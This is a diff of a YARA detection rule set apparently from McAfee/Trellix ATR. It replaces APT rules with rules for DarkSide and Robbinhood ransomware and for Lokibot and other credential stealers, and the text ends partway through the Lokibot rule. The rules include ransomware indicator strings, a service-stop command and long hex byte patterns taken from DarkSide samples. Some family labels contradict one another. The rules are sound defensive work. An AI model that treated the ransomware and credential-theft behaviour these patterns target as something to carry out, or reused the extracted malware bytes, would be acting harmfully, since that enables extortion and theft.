-		logic_hash = "8a425ababdfbe95bd8ac7d4f519be16c0f1fd0b7eea2874124db2f00dd6eb56d"
+		hash = "9977ba861016edef0c3fb38517a8a68dbf7d3c17de07266cfa515b750b0d249e"
+		logic_hash = "19a1b7d92bc49dee6da3fb4c053b118e6475aeca43e891d46470c2c09c148038"
 		score = 75
 		quality = 70
-		tags = "ROOTKIT, FILE"
+		tags = "RANSOMWARE, FILE"
 		rule_version = "v1"
-		malware_type = "rootkit"
-		malware_family = "Rootkit:W32/Hikit"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/Robbinhood"
 		actor_type = "Cybercrime"
 		actor_group = "Unknown"
 
 	strings:
-		$pdb = "\\JmVodServer\\hikit\\bin32\\RServer.pdb"
-		$pdb1 = "\\JmVodServer\\hikit\\bin32\\w7fw.pdb"
-		$pdb2 = "\\JmVodServer\\hikit\\bin32\\w7fw_2k.pdb"
-		$pdb3 = "\\JmVodServer\\hikit\\bin64\\w7fw_x64.pdb"
+		$s1 = ".enc_robbinhood" nocase
+		$s2 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
+		$s3 = "pub.key" nocase
+		$s4 = "main.EnableShadowFucks" nocase
+		$s5 = "main.EnableRecoveryFCK" nocase
+		$s6 = "main.EnableLogLaunders" nocase
+		$s7 = "main.EnableServiceFuck" nocase
+		$op0 = { 8d 05 2d 98 51 00 89 44 24 30 c7 44 24 34 1d }
+		$op1 = { 8b 5f 10 01 c3 8b 47 04 81 c3 b5 bc b0 34 8b 4f }
+		$op2 = { 0f b6 34 18 8d 7e d0 97 80 f8 09 97 77 39 81 fd }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <100KB and any of them
+		( uint16(0)==0x5a4d and filesize <3000KB and (1 of ($s*)) and all of ($op*)) or ( all of them )
 }
-rule TRELLIX_ARC_Apt_Manitsme_Trojan : TROJAN FILE
+rule TRELLIX_ARC_RANSOM_Darkside : RANSOMWARE FILE
 {
 	meta:
-		description = "Rule to detect the Manitsme trojan"
+		description = "Rule to detect packed and unpacked samples of DarkSide"
 		author = "Marc Rivero | McAfee ATR Team"
-		id = "49e0c934-6920-5e49-837c-27ebbbd5a1a2"
-		date = "2013-03-08"
-		modified = "2020-08-14"
-		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_manitsme_trojan_pdb.yar#L1-L36"
+		id = "ecbee92f-236a-5385-9566-502ef1c0aeda"
+		date = "2020-08-11"
+		modified = "2023-07-27"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Darkside.yar#L1-L23"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "c1c0ea096ec4d36c1312171de2a9ebe258c588528a20dbb06a7e3cf97bf1e197"
-		logic_hash = "584053145249a930d3eae5e291d3553c57fa427dbecac9f04e7c0169f153b7af"
+		logic_hash = "be16d65911336809be103ea667167228e6445de85fd47ecd9ff8b3d91e056693"
 		score = 75
 		quality = 70
-		tags = "TROJAN, FILE"
+		tags = "RANSOMWARE, FILE"
 		rule_version = "v1"
-		malware_type = "trojan"
-		malware_family = "Trojan:W32/Manitsme"
-		actor_type = "Apt"
+		malware_type = "ransomware"
+		malware_family = "Ransom:W32/DarkSide"
+		actor_type = "Cybercrime"
 		actor_group = "Unknown"
+		hash1 = "9cee5522a7ca2bfca7cd3d9daba23e9a30deb6205f56c12045839075f7627297"
 
 	strings:
-		$s1 = "SvcMain.dll" fullword ascii
-		$s2 = "rj.soft.misecure.com" fullword ascii
-		$s3 = "d:\\rouji\\SvcMain.pdb" fullword ascii
-		$s4 = "constructor or from DllMain." fullword ascii
-		$s5 = "Open File Error" fullword ascii
-		$s6 = "nRet == SOCKET_ERROR" fullword ascii
-		$s7 = "Oh,shit" fullword ascii
-		$s8 = "Paraing" fullword ascii
-		$s9 = "Hallelujah" fullword ascii
-		$s10 = "ComSpec" fullword ascii
-		$s11 = "ServiceMain" fullword ascii
-		$s12 = "SendTo(s,(char *)&sztop,sizeof(sztop),FILETYPE) == ERRTYPE" fullword ascii
+		$pattern_0 = { CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC558BEC5053515256570FEFC0660FEFC033DB8B7D088B450C33D2B910000000F7F185C0740B0F110783C7104885C075F585D27502EB5892B908000000F7F185C0740B0F7F0783C7084885C075F585D27502EB3B92B904000000F7F185C0740A891F83C7044885C075F685D27502EB1F92B902000000F7F185C0740B66891F83C7024885C075F585D27502EB02881F5F5E5A595B585DC20800558BEC5053515256578B750C8B7D088B451033D2B910000000F7F185C074110F10060F110783C61083C7104885C075EF85D27502EB6892B908000000F7F185C074110F6F060F7F0783C60883C7084885C075EF85D27502EB4592B904000000F7F185C0740F8B1E891F83C60483C7044885C075F185D27502EB2492B902000000F7F185C0740E66891F83C60283C7024885C075F285D27502EB048A1E881F5F5E5A595B585DC20C00558BEC53515256578B4D0C8B75088B7D1033C033DBAC8AD8C0E80480E30F3C0072063C09770204303C0A72063C0F7702045780FB00720880FB09770380C33080FB0A720880FB0F770380C35766AB8AC366AB4985C975BE6633C066AB5F5E5A595B5DC20C00558BEC53515256578B75088B7D0C55FCB2808A0683C601880783C701BB0200000002D275058A164612D273E602D275058A164612D2734F33C002D275058A164612D20F83DB00000002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C002D275058A164612D213C074068BDF2BD88A03880747BB02000000EB9BB80100000002D275058A164612D213C002D275058A164612D272EA2BC3BB010000007528B90100000002D275058A164612D213C902D275058A164612D272EA568BF72BF5F3A45EE94FFFFFFF48C1E0088A06468BE8B90100000002D275058A164612D213C902D275058A164612D272EA3D007D000083D9FF3D0005000083D9FF3D8000000083D1003D8000000083D100568BF72BF0F3A45EE9FEFEFFFF8A064633C9C0E801741783D1028BE8568BF72BF0F3A45EBB01000000E9DDFEFFFF5D2B7D0C8BC75F5E5A595B5DC20800558BEC53515256578B7D088B450CB9FF00000033D2F7F185C074188BD868FF00000057E8AD00000081C7FF0000004B85DB75EA85D274075257E8970000005F5E5A595B5DC20800558BEC5351525657B9F0000000BEB2B640008B45088B108B58048B78088B400C89540E0C89440E08895C0E04893C0E81EA101010102D1010101081EB1010101081EF1010101083E91079D533D233C98B750C33DB8B7D108A81B2B6400002141E02D08AA2B2B64000438882B2B6400088A1B2B640003BDF7306FEC175DAEB0633DBFEC175D25F5E5A595B5DC20C00558BEC535152565733C0A3C2B84000A3C6B84000B9400000008D35B2B640008D3DB2B74000F3A58B7D088B15C2B840008B4D0C8B1DC6B840004F33C0029AB3B740008A82B3B740008AABB2B740008883B2B7400088AAB3B7400002C5478A80B2B74000FEC23007FEC975D18915C2B84000891DC6B840005F5E5A595B5DC2080053515256578D35047040008D3DCAB84000FF76FC56E891FEFFFF56E8864500008BD8FF76FC56E888FBFFFF8B46FC8D3406B915000000E85C010000AD5056E868FEFFFF56E85D4500008BD8FF76FC56E85FFBFFFF8B46FC8D3406B93D000000E833010000AD5056E83FFEFFFF5256E8334500008BD85AFF76FC56E834FBFFFF8B46FC8D3406B915000000E808010000AD5056E814FEFFFF5256E8084500008BD85AFF76FC56E809FBFFFF8B46FC8D3406B904000000E8DD000000AD5056E8E9FDFFFF5256E8DD4400008BD85AFF76FC56E8DEFAFFFF8B46FC8D3406B906000000E8B2000000AD5056E8BEFDFFFF5256E8B24400008BD85AFF76FC56E8B3FAFFFF8B46FC8D3406B901000000E887000000AD5056E893FDFFFF5256E8874400008BD85AFF76FC56E888FAFFFF8B46FC8D3406B903000000E85C000000AD5056E868FDFFFF5256E85C4400008BD85AFF76FC56E85DFAFFFF8B46FC8D3406B901000000E831000000AD5056E83DFDFFFF5256E8314400008BD85AFF76FC56E832FAFFFF8B46FC8D3406B902000000E8060000005F5E5A595BC3ADFF76FC56E80AFDFFFF515653E8F743000059ABFF76FC56E8FFF9FFFF8B46FC8D34064985C975D8C3558BEC81EC1401000053515256578D85ECFEFFFF50FF1516B940008BB5F0FEFFFF8BBDF4FEFFFF83FE05750583FF01720583FE057313B8000000005F5E5A595B8BE55DC3E9DA00000083FE05751883FF017513B8330000005F5E5A595B8BE55DC3E9BD00000083FE05751883FF027513B8340000005F5E5A595B8BE55DC3E9A000000083FE06751785FF7513B83C0000005F5E5A595B8BE55DC3E98400000083FE06751583FF017510B83D0000005F5E5A595B8BE55DC3EB6A83FE06751583FF027510B83E0000005F5E5A595B8BE55DC3EB5083FE06751583FF037510B83F0000005F5E5A595B8BE55DC3EB3683FE0A751485FF7510B8640000005F5E5A595B8BE55DC3EB1D83FE0A750583FF00770583FE0A760EB8FFFFFF7F5F5E5A595B8BE55DC3B8FFFFFFFF5F5E5A595B8BE55DC3558BEC83C4F853515256576A0068800000006A026A006A006800000040FF7508FF1526B940008945FC837DFCFF74226A008D45F850FF7510FF750CFF75FCFF1536B9400085C07409FF75FCFF153EB940005F5E5A595B8BE55DC20C008BFF558BEC5351525657837D0C0074728D3DAABA4000837D100075086A1057E842F8FFFFFF750CFF750868EFBEADDEFF15F6B84000FF750CFF750850FF15F6B840003107FF750CFF750850FF15F6B84000314704FF750CFF750850FF15F6B84000314708FF750CFF750850FF15F6B8400031470CB8AABA40005F5E5A595B5DC20C00B8000000005F5E5A595B5DC20C00558BEC5351525657FF7508FF15DEB8400083C4048BD88D045D02000000506A00FF35AEB64000FF15BEB940008BF085F67434FF750856FF15CEB8400083C4088D43016A006A0050FF75086AFF566A006A00FF1506BA4000566A00FF35AEB64000FF15C6B940008BC35F5E5A595B5DC2040053515657833DBABA400000750B68BABA4000FF15F2B8400068BABA4000FF15F2B840008BD15F5E595BC3558BEC5351525657BB080000008B7508E8C1FFFFFF83FB05750433C033D28944DEFC8954DEF84B85DB75E55F5E5A595B5DC204008D4000558BEC81EC0001000053515256578D45B083C00F83E0F089850CFFFFFF8D8560FFFFFF83C00F83E0F0898508FFFFFF8D8510FFFFFF83C00F83E0F0898504FFFFFF837D14000F84750300008BB504FFFFFF0F57C00F11060F1146100F1146200F1146308B75088BBD0CFFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F30837D1440732A8B4510898500FFFFFF8B9504FFFFFF8BFA8B750C8B4D148A440EFF88440FFF4985C975F389550C8955108BB50CFFFFFF8BBD08FFFFFF0F10060F104E100F1056200F105E300F11070F114F100F1157200F115F305556BD0A0000008B078B5F108B4F208B57308BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C68907895F10894F208957308B47148B5F248B4F348B57048BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894714895F24894F348957048B47288B5F388B4F088B57188BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C6894728895F38894F088957188B473C8B5F0C8B4F1C8B572C8BF003F2C1C60733DE8BF303F0C1C60933CE8BF103F3C1C60D33D68BF203F1C1C61233C689473C }
+		$pattern_1 = { 70211F3B6E97C50000473D000000A000004602003EBBFF1F92CC558BEC5053515256570FEFC0660333DBFBFFEDFF8B7D088B450C33D2B9100000F7F185C0740B0F110783C710480A692EFB7F75F585D27502EB5892B9081C7F08B60F592E3B040A891F38049B641979F61F02661CD6FEBFEC023802881F5F5E5A595B585DC25D977E20634F8B750C9110110F1006252383FD94C61097EF6819AC59BA226F7F089DEFD8EE0119450F8B1E82C604A23E033232F1240EC602B9EC91C1A5F2048A1EA70CA12CCBD9A64D757D42E9FEFFBFAC8AD8C0E80480E30F3C0072063C09770204303C0A090FB66F6DBB5780FB140804150380C3300C0ADADFFE790F5766AB8AC3034985C975BE6646FF252CD6096564610C55FCB2806FDF86DB8A069701887801BBAD0299058A164FD62EFB4612D273E60A4F430C0F83DB7F2A7B602613C00A74068BDF2BD821EC63DB8A03644762EB9BB80142900BFBFB72EA2BC3BB1C7528B923C96F7FFB1F568BF72BF5F3A45EE94D01D248C1E008C3468BE8DE1EC26E0C0449303D007D4B83D9FF0DD93CD907058000D100BDB01BF250F04C33C974017417B1D8B0B61902561B96204B06E1C25D2B398BC75208111AEE18EDB9FF2660F4F8EFDDF7188BD8680E579B03D981C70B4B85DB75EAEE94CD5EFE7407521546B9F0256F7F6BB7BE02A6B24D50108B58048B7807400C895FF7FFDB540E03440E08895C0E04893C0E81EA10002D048168ED9FB1EB05EF83E91079D57EC0DFFFFDE4EC80108A814A02141E02D08AA20A436BFFBFDF88820688A1053BDF7306FEC175DAEB062C076E0B29A3D227F8A327A8C27DFBEDFE04C6B940998D35378D3D05A7B2F3A57DBC8FF7F31520B41D242A9A1BFB8DDD1CB38A8205AB28888305AA11D88DFFFE02C5478A800EFEC23007FEA0D189402F9684D8893D0D7C6BF07BF8CF6004A8CAFF76FC5630040549FF33FFDBAC59109C0C8B46FC8D3406B9150F477291BD05F0AD50283D52C252D961295A532A02B902BB04550608B902B90103E10843260299C3AD8615B2BF2751565333F959AB329FE0EEF874D8C33F81EC1468C885ECFE7777DFF0FFFF50FF4FA9168BB5F00C8BBDF40583FE055877F74BA483FF017205097313B86D00695BF36DFA8BE55DC36C073C2118751C3300D21C210234DF04D2FD06751785FF1B3C1555109AC11EC8B83DEB6A19023EA419644250033FC866DE2636690A75141864FECDEE4C1DDE00770A760EB8FFFFFF7F1B927C490DFF3083C4AEFD7A84F82D6A0068976A02080AFE8FB07509405A083B268945FC837DFCFF7422916D73DF188D45F85072020C1DFC34ECB0AE3672090C3E59746B43DACC8BFFCE3C0D7472E1AD44FB51AAAA0B04576A1057BC67BF3F16470868EFBEADDE3FA8F6105090BDB0670C31070E47040F92F50EC9080CB8624E071B5913D85CD6A8DE6D1FDF6AF9E4D88D045D6D50DAFF58F78F7D63AEC6BE8BF085F6743429562ADDDCE1CBCE088D430119FDBDFF56B027ECEF0A1AAA065639C68BC37077FB9C630484FAF4BAF10B6807A31DB0B14CF20A8BD12DE09A3871989ABBFD24E84013CB376608A783FB048DD2D90317B87FDEFC87DEF8C4E55D49C628308D17EE000DC32FF145B083C027E0F089850CE3FD202387B960051108102B99FE37040B7D14000F8475C41E0FA6DBC5F60F571C119846100320ED17EF8930B1BD4EB0104E17D32CDBCB1056105E3026074F57CDE6E26E5F304840732AE457008B6FF017BF954D8BFAFB4D148A3FFF88447B6DFBD30FFFA3F389550C02106E5359FDF0A964085556BD0A14078B5F6FFFDFBE354F208B5792F003F2C1C60733DE8BF303F0080933CEED2FFFF28BF103F30D33D68BF203F11233C68907892ECBB26D96898947143A243404CBD612202F3B24342CCBB22C0428380818CBB25C802838081820CBB22C3C0C1C2CDFB22C173C0C1C2CED0463476063760CED04750C53606363ED187510ED18D80863637510ED2C6424ED3036C2142C6524ED30234C818D6538ED3065386DA30DFC4D85ED0F851B975E5DF30702CBE5726BC80357105F1867206FB6022F972877307F380F0C024EE572B9DC1EFE56FE5EFE66FE6EA6D996CBFE76FE7E7F3D7F7F94A6699A7F7F7F7F7F9AE5C8708D6B5757575D8C966B57BED8FE2011BFE4B834118B9DA7274320837B2086F1B195000824E977EF1866C335DB32C500E4B2BD154E8B55BA338942200524B5655BFA24EB16831940030C6D370297C0237485CAFC86C21297EE1A818880308D7D80F3B920B16FE21DF2F3ABB900DF518D7580F810CD33E7FED1168D7604E2F92175128B06194DA6ECED078D7F17F473181911C9600933C441290CD5BB0A5B5B59F033E476B05505E00CEDAA9BBDB266E03AA5D908A6BFB960DDDFFCDD4FE0C64580018BA98F7EF05D0C81C379B981A849B1BE07D84150F8510851FC8DAB8360115F547B8D626FADBB1D508D3B50E874D3815240D3E0BF6563F02203740F9908199BBB4B1961646306AE9B780C830627307DC7E63041B73BDB06F8410ECB8A369391B8D51A68A41F000B8278E2C406CE1F0926023676729008AA12F80C1A24446B4B22170E54206317F226F8C37EF45B18B8C3F8EF238B71C65E4E62F475F8F46A0514066C737F01CE04EB43EB3F3D310A1B1CB5D84CD837C2EBC60D2C5A839117A1C12C4468F7BBA5196AD2C86AD6616CDBD8288E2E33ED3CAD1D14C3999178FF733C02CA74D72E71A1A14402EBFC1C332275D4565858CA5D4F846D35570F06E6AC62895FE9BF454B183B480875278D1F30AABEC220586C3BEA0F2C3A0E186BD5E850C63826070017E40793C5F30C0262CC0D776B110D6F68081017F4FDDD58B2C77568040110976256A3D8B3C4B2CC11D3D23DE2DB4636F677FC57FB571F34102048BC03A1088DA3ADD5456CD8C2BE227A30C3A3B18D922A9B1C2C6A9BDB095B62106E38E18B5E12C37BD86CB0403753132F6E56A573B367B10FBC59A8EE97CD409E848530675464A1183064849F924030C31A2C72E1248313F88D1DCF6C125B166CECFC53EC531BB519E4027936286BC0D263936C0F6A245FD4C70B24B15766738C09E89B4A2C585392A89C53325426816407AA7E5111040C8D9913E810EF52A937B527344930AA660C5E017648727CC960E3F07304ADA50B27ACDB8F2D60F0B5833EAF15107A641F05D019EBCCCBACDD2578763D4FA9744A4A0FFC0618E9E3147A6517C1293AECB517D9F88B122E0146336C2CD67D7C5224760B1D0E08506FC8096E7ACA96504FB6B1B1463FD3A6521911F424E1FC5A0142A91AD9A722EC3EEE6B18B26B1C3D7DB1D75EAFFC8D7531831C8535BF8E68EB803FAA5219367958D984534FBE3C1B690664B0B03CCC09209966A401B44050C83336C9ECA29D0004D88465B109215A244576CF58C96AF0346AF4AE9D3DB360BC0E3989C005A9247508F153A7A564036F644553F675A3D4253BAC3956120C5AEBE66EC682D922722568F4C058B36FD730DAEDB57D14450DAA0BD716168151969EAE69921D76C8D85E08626E130C9C11C00D07C160C7846481EDFF72C8A1BDE3DF9F813C18DEADBEEF980340EBF2C631F9EC4E04136DA456A4A1FC8EAC7E73C8C1E0068BD82373CCBB46C6DE01B16A1630408086A44CB2810B2C2F3616500A17F3DE5F0BAB8EAEA556561FFBE5B2F6150A374D358D83E6070A67B303593A5A56223D5A89E4C8254EB60FE492B3D95E56223D5E4FD9EC447286176256223D223972C96250561FB9E46C766656223D6641363B911C26276A56223D488E5C726A51F62E72362B90C7223D6E9D488E5C52C6367256472E399B223D724B963E9CCD4E247656223D7627922397537E427A56964BCE66223D7A545890672269727E72CCA759E47E0AC8A912678203C11A01B23557FBC2E08A53D968243106BE91ACB86472A8C319698152773D833C038C907C420BB3345B061008091C095EE251887010EBDE251B5A160CE0FD66B80904A10B9566ABE74C161266A4D19EE614ECA72DE3F8DC0F84A129461DF421D89E3DE828139F83DA062D4FEEF350ECD3AEFCF6EB6399F833D285D255B390DB6BFDC90530940107A842EB14BB162E2CC12B8B1BD4CB4D33C9192BFFAE400830040E4183F9080E04AC5F713904576A57014C7042E2C8681122C63664F381D8ED9E70B470B8182C883DA58E0EFFE62C080B5B180C256C469348D2C1B408AC1CEC840704300A44AA0EBBB6044381DC0C4BA62EEA1D487CDA4AE10E58D4DC194871F43A5F5DB37064FBF086F034798B83C9A26B096057B0571E7F83172666FD47FE5CFA66C704475C00D565F15702444702D9EB3D62598B151A11EA0B3531B614F06592BA0E46348A5D3932DAC81B1A386C90410C03802C26E0B1CCCD19502B1B035C4379AA3ACD09D534968523BBEB6953CCECBFEC511DB68B27C8F4CB75EC39326FD94ED2820BEB1E27F41821E12E7548293B02750759AC12C23B9616FF57C6082997A5EC1C846C4EC80C6D026D0630968DE46D06251CA43358A41AF84F9CD06CEBA91B5C107EDA562CE1F7C049A5AE83702B0CCB523367A364CD46000B08DD35AD8C91877A08E63C5798CC25C3AC9C86AD927DC615A3A3DC53E7CA217946B6431A1010E864489E911414F0183891906718F8A44D6148561EEBA0D3363ACC9DD08BC8C45110BA36D092BA42CE140510960626A37C49D0736C658C67F0524156E89E609103 }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and all of them
+		$pattern_0 or $pattern_1 and filesize <5831344
 }
-rule TRELLIX_ARC_Apt_Auriga_Driver : KERNELDRIVER FILE
+rule TRELLIX_ARC_RANSOM_Darkside_DLL_May2021 : RANSOM FILE
 {
 	meta:
-		description = "Rule to detect the Auriga driver"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "b61058a1-1b48-5be1-ba2f-74a7c3d38825"
-		date = "2013-03-13"
-		modified = "2020-08-14"
-		reference = "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_auriga_biscuit.yar#L1-L39"
+		description = "Rule to detect Darkside Ransomware as a DLL"
+		author = "TS @ McAfee ATR"
+		id = "e9d64637-dc8f-5650-81e1-34e27e6ee912"
+		date = "2021-05-14"
+		modified = "2023-07-27"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/ransomware/RANSOM_Darkside.yar#L26-L47"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		hash = "207eee627a76449ac6d2ca43338d28087c8b184e7b7b50fdc60a11950c8283ec"
-		logic_hash = "c027073ba398fe89d418be67f0850c8d9e4d4c50a991c45b84cdb416497ccf1c"
+		hash = "f587adbd83ff3f4d2985453cd45c7ab1"
+		logic_hash = "39930b6f352642647ea6b80f941201b93d6a9defd42cb75f9e4f7239ff17a4ec"
 		score = 75
 		quality = 70
-		tags = "KERNELDRIVER, FILE"
+		tags = "RANSOM, FILE"
+		rule_type = "Public"
 		rule_version = "v1"
-		malware_type = "kerneldriver"
-		malware_family = "Driver:W32/Auriga"
-		actor_type = "APT"
-		actor_group = "APT1"
+		malware_type = "Ransom"
 
 	strings:
-		$s1 = "\\SystemRoot\\System32\\netui.dll" fullword wide
-		$s2 = "\\SystemRoot\\System32\\drivers\\riodrv32.sys" fullword wide
-		$s3 = "\\SystemRoot\\System32\\arp.exe" fullword wide
-		$s4 = "netui.dll" fullword ascii
-		$s5 = "riodrv32.sys" fullword wide
-		$s6 = "\\netui.dll" fullword wide
-		$s7 = "d:\\drizt\\projects\\auriga\\branches\\stone_~1\\server\\exe\\i386\\riodrv32.pdb" fullword ascii
-		$s8 = "\\riodrv32.sys" fullword wide
-		$s9 = "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\riodrv32" fullword wide
-		$s10 = "\\DosDevices\\rio32drv" fullword wide
-		$s11 = "e\\Driver\\nsiproxy" fullword wide
-		$s12 = "(C) S3/Diamond Multimedia Systems. All rights reserved." fullword wide
-		$s13 = "\\Device\\rio32drv" fullword wide
-		$s14 = "\\Registry\\Machine\\SOFTWARE\\riodrv" fullword wide
-		$s15 = "\\Registry\\Machine\\SOFTWARE\\riodrv32" fullword wide
+		$s1 = "encryptor2.dll" wide ascii
+		$s2 = "DisableThreadLibraryCalls" wide ascii
+		$s3 = "KERNEL32.dll" wide ascii
+		$pattern1 = {D24DC8855EDD487B3CD2D545F11031E1FA85C2F2440712445F67D105B326533A77BA75B3383A98CE97EAA2B95798DCFA6B75B5573662F9ED5DC9B7D2E582FD94104E210F3EA62A1826B26B952FFBD5A70A97E6EC3D14794577A2980A0ED1EE02CA291623DD3721A7E68223EDA56F9E1325FE36E191D5C41F7227D55EDC3D5B9359C819}
+		$pattern2 = {87FC982E066F585B73D417C0D5F75B86B9F9F8286B4CC42BB2053912D595A68C07C0EDD0159AC785880C5483E246D3501F6523D05078B9B7510711423948D4CB367C83C0833BD04AD6DC655E1BEEA38770470BB48B6EBA70944E952526E4D87A03BAA485D7B4DA1318A00EF07FA76C0D}
+		$pattern3 = {1B6F099F1C3C62BBF5543FA03B919C7BF5E477D256CE79D98C55ACE8D69CDC9373B2F0A2B51414776D5226B74BF9A7CB935C9DD04BCFC19FC81418F7A39244A730697E1BC05418BF41DE50E4C8609533591CE80617D476E686B36CF2AE914CB3AFD720A33C0D5DE438F1CD0B}
+		$pattern4 = {5060E373F1D3B3BB8D15C851BBFC73F60390681C488F7C0B80FC2EDBC1ED88CEA82014B9223A70EA0BB7DD0D2560A29D39381FEE7B73AE22683AE05C369918F8C5772678A9F29CEF65854238D1C2B762CC12706637154F57A9}
+		$pattern5 = {EE452560DBD5A4F46FB562C9C707C8D014BB8F1C18E4467E249F5AC69A87954F5B69650B7A759CE2DD075E99CBCBA37A9C5A0650EDF06285F8F990AF6B94FBA08E3C0B2EBDE3C155ECDB06C30F95D76695}
 
 	condition:
-		uint16(0)==0x5a4d and filesize <50KB and all of them
+		filesize >=45KB and filesize <=70KB and all of ($s*) and 4 of ($pattern*)
 }
-import "pe"
-
-rule TRELLIX_ARC_Shadowspawn_Utility : UTILITY FILE
+rule TRELLIX_ARC_STEALER_Emirates_Statement : STEALER
 {
 	meta:
-		description = "Rule to detect ShadowSpawn utility used in the SoftCell operation"
-		author = "Marc Rivero | McAfee ATR Team"
-		id = "0a325f5c-2750-5354-b920-f7e1510a8b71"
-		date = "2019-06-25"
+		description = "Credentials Stealing Attack"
+		author = "Christiaan Beek | McAfee ATR Team"
+		id = "b5a6d996-8a3d-5238-95af-bf5ff893bbc5"
+		date = "2013-06-30"
 		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L3-L32"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_EmiratesStatement.yar#L1-L24"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "0f2805aee60cdb4eb932768849c845052c92131d0b25a511b822b79b2ac93e24"
+		hash = "7cf757e0943b0a6598795156c156cb90feb7d87d4a22c01044499c4e1619ac57"
+		logic_hash = "17eaddf375fc1875fb0275f8c0f93dfe921b452bdc6eb471adc155f749492328"
 		score = 75
-		quality = 70
-		tags = "UTILITY, FILE"
+		quality = 45
+		tags = "STEALER"
 		rule_version = "v1"
-		malware_type = "utility"
-		malware_family = "Trojan:W32/ShadowSpawn"
-		actor_type = "Apt"
+		malware_type = "stealer"
+		malware_family = "Stealer:W32/DarkSide"
+		actor_type = "Cybercrime"
 		actor_group = "Unknown"
 
 	strings:
-		$pdb = "C:\\data\\projects\\shadowspawn\\src\\bin\\Release-W2K3\\x64\\ShadowSpawn.pdb" fullword ascii
-		$op0 = { e9 34 ea ff ff cc cc cc cc 48 8d 8a 20 }
-		$op1 = { 48 8b 85 e0 06 00 00 48 8d 34 00 48 8d 46 02 48 }
-		$op2 = { e9 34 c1 ff ff cc cc cc cc 48 8b 8a 68 }
+		$string0 = "msn.klm"
+		$string1 = "wmsn.klm"
+		$string2 = "bms.klm"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and (pe.imphash()=="eaae87b11d2ebdd286af419682037b4c" and all of them )
+		all of them
 }
-import "pe"
-
-rule TRELLIX_ARC_Poison_Ivy_Softcell : RAT FILE
+rule TRELLIX_ARC_STEALER_Lokibot : STEALER FILE
 {
 	meta:
-		description = "Rule to detect Poison Ivy used in the SoftCell operation"
+		description = "Rule to detect Lokibot stealer"
 		author = "Marc Rivero | McAfee ATR Team"
-		id = "c362b116-4cb6-5393-9c64-28e8d2886dc7"
-		date = "2019-06-25"
-		modified = "2020-08-14"
-		reference = "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers"
-		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/APT/APT_Operation_SoftCell.yar#L34-L72"
+		id = "75f502a3-2d9f-5ccf-93f8-2d6a73e9e1b7"
+		date = "2020-09-23"
+		modified = "2020-09-25"
+		reference = "https://github.com/advanced-threat-research/Yara-Rules/"
+		source_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/stealer/STEALER_Lokibot.yar#L1-L39"
 		license_url = "https://github.com/advanced-threat-research/Yara-Rules//blob/fc51a3fe3b450838614a5a5aa327c6bd8689cbb2/LICENSE"
-		logic_hash = "ac84023404d76adf8cfd8d26bb59fb51f29057748806c4f5ea0634803fd937cd"
+		logic_hash = "999a69394a545f726cf15e4361e0dfc17eeac6544e6816a0ad140316e9642510"
 		score = 75
 		quality = 70
-		tags = "RAT, FILE"
+		tags = "STEALER, FILE"
 		rule_version = "v1"
-		malware_type = "rat"
-		malware_family = "Rat:W32/PoisonIvy"
-		actor_type = "Apt"
+		malware_type = "stealer"
+		malware_family = "Ransomware:W32/Lokibot"
+		actor_type = "Cybercrime"
 		actor_group = "Unknown"
+		hash1 = "0e40f4fdd77e1f90279c585cfc787942b8474e5216ff4d324d952ef6b74f25d2"
+		hash2 = "3ad36afad12d8cf245904285c21a8db43f9ed9c82304fdc2f27c4dd1438e4a1d"
+		hash3 = "26fbdd516b3c1bfa36784ef35d6bc216baeb0ef2d0c0ba036ff9296da2ce2c84"
 
 	strings:
-		$s1 = "Cannot create folder %sDCRC failed in the encrypted file %s. Corrupt file or wrong password." fullword wide
-		$s2 = "Extracting files to %s folder$Extracting files to temporary folder" fullword wide
-		$s3 = "&Enter password for the encrypted file:" fullword wide
